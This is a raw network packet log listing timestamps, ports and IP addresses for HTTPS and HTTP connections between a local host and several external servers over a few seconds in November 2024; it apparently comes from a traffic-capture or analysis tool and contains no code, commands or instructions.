Nov 20, 2024 08:12:33.721254110 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.721332073 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.721435070 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.721450090 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.721492052 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.721534014 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.721551895 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.721564054 CET	49816	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.721570015 CET	443	49816	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.724473953 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.724518061 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.724602938 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.724747896 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.724764109 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.891439915 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.891980886 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.892011881 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.892487049 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.892493010 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.907915115 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:33.907954931 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:33.908023119 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:33.908718109 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:33.908726931 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:33.991852999 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.991938114 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.992041111 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.992242098 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.992242098 CET	49817	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.992261887 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.992270947 CET	443	49817	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.995137930 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.995177984 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:33.995280981 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.995471954 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:33.995487928 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.118156910 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.118395090 CET	443	49798	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.118417025 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.118457079 CET	49798	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.152232885 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.152277946 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.152405024 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.152909994 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.152934074 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.186099052 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.186616898 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.186634064 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.187074900 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.187079906 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.197742939 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.198281050 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.198297977 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.198750973 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.198757887 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.215905905 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.216634035 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.216660976 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.216957092 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.216964960 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.285156012 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.285413027 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.285490036 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.285597086 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.285618067 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.285633087 CET	49818	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.285639048 CET	443	49818	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.288445950 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.288486004 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.288547039 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.288728952 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.288738966 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.300452948 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.300632954 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.300760031 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.300760031 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.300884008 CET	49819	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.300901890 CET	443	49819	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.303468943 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.303514004 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.303585052 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.303761959 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.303771019 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.316687107 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.316771984 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.316824913 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.316975117 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.317037106 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.317037106 CET	49820	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.317055941 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.317066908 CET	443	49820	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.320091963 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.320132017 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.320327044 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.320421934 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.320441008 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.401880980 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.402894020 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.402906895 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.403217077 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.403223991 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.507045984 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.507256031 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.508716106 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.509458065 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.509486914 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.509577990 CET	49821	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.509587049 CET	443	49821	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.512481928 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.512518883 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.512574911 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.512763023 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.512770891 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.635704041 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.635947943 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.637115955 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.637130976 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.637444973 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.646661043 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.646903992 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:34.646927118 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:34.647353888 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.647772074 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.647789001 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.648489952 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.648500919 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.730299950 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.730375051 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.735696077 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.735706091 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.735930920 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.737701893 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.737701893 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.737714052 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.737889051 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.747301102 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.747473001 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.747658014 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.747658014 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.747833967 CET	49823	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.747854948 CET	443	49823	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.750277042 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.750310898 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.750543118 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.750693083 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.750704050 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.783324957 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.915330887 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.915410995 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.915458918 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.915597916 CET	49822	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:34.915617943 CET	443	49822	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:34.943521976 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.944010019 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.944029093 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.944525957 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.944531918 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.946264029 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.946680069 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.946710110 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.947041988 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.947055101 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.974886894 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.975389004 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.975410938 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:34.975835085 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:34.975841045 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.047014952 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.047239065 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.047311068 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.047367096 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.047388077 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.047399998 CET	49825	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.047406912 CET	443	49825	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.049664974 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.049897909 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.049947977 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.049999952 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050040960 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050055981 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.050065041 CET	49826	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050071955 CET	443	49826	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.050384045 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050427914 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.050584078 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050710917 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.050723076 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.052660942 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.052689075 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.052751064 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.052900076 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.052908897 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.078577995 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.078778982 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.078843117 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.078881979 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.078902960 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.078916073 CET	49827	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.078922033 CET	443	49827	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.081646919 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.081672907 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.081733942 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.081861019 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.081867933 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.147639990 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.148149967 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.148168087 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.148591995 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.148597956 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.210429907 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:35.210539103 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:35.210928917 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:35.210928917 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:35.210978031 CET	49824	443	192.168.2.6	188.114.97.3
Nov 20, 2024 08:12:35.210999012 CET	443	49824	188.114.97.3	192.168.2.6
Nov 20, 2024 08:12:35.214512110 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.219811916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.219984055 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.220231056 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.225070000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.339456081 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.339726925 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.339770079 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.339839935 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.339927912 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.339945078 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.339956999 CET	49828	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.339962959 CET	443	49828	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.342814922 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.342849016 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.342920065 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.343054056 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.343063116 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.387135983 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.387618065 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.387633085 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.388087034 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.388092995 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.487397909 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.487466097 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.487525940 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.487828970 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.487848997 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.487859964 CET	49829	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.487865925 CET	443	49829	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.490519047 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.490585089 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.490809917 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.490989923 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.491014004 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.709640980 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.714696884 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.729151011 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.758073092 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.758078098 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.771792889 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.771810055 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.772789001 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.772802114 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.773139000 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.773153067 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.773662090 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.777230978 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.777241945 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.780994892 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.781003952 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.786523104 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.786528111 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.869673967 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.869801044 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.869913101 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.877718925 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.877979040 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.878180027 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.884179115 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.884342909 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.884396076 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.884403944 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.884434938 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.908401012 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.908425093 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.908446074 CET	49831	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.908452988 CET	443	49831	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.912559986 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.912580967 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.912615061 CET	49830	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.912621021 CET	443	49830	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.927644968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927666903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927676916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927709103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.927793980 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927808046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927818060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927829981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927845955 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.927923918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927942991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927953959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.927978992 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.927978992 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.928081989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.928618908 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.929053068 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.929068089 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.929080963 CET	49832	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.929086924 CET	443	49832	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.932586908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.932658911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.932668924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:35.932934999 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:35.936969042 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.936979055 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.937721014 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.937724113 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.946388960 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.946424007 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.946494102 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.946618080 CET	49836	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.946628094 CET	443	49836	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.948591948 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.948632956 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.948678017 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.949970961 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.949982882 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.950448036 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.950459957 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.950517893 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.951191902 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:35.951200008 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:35.977087975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.037658930 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.038135052 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.038294077 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.038319111 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.038330078 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.038342953 CET	49834	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.038347960 CET	443	49834	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.042839050 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.042881012 CET	443	49839	13.107.246.42	192.168.2.6
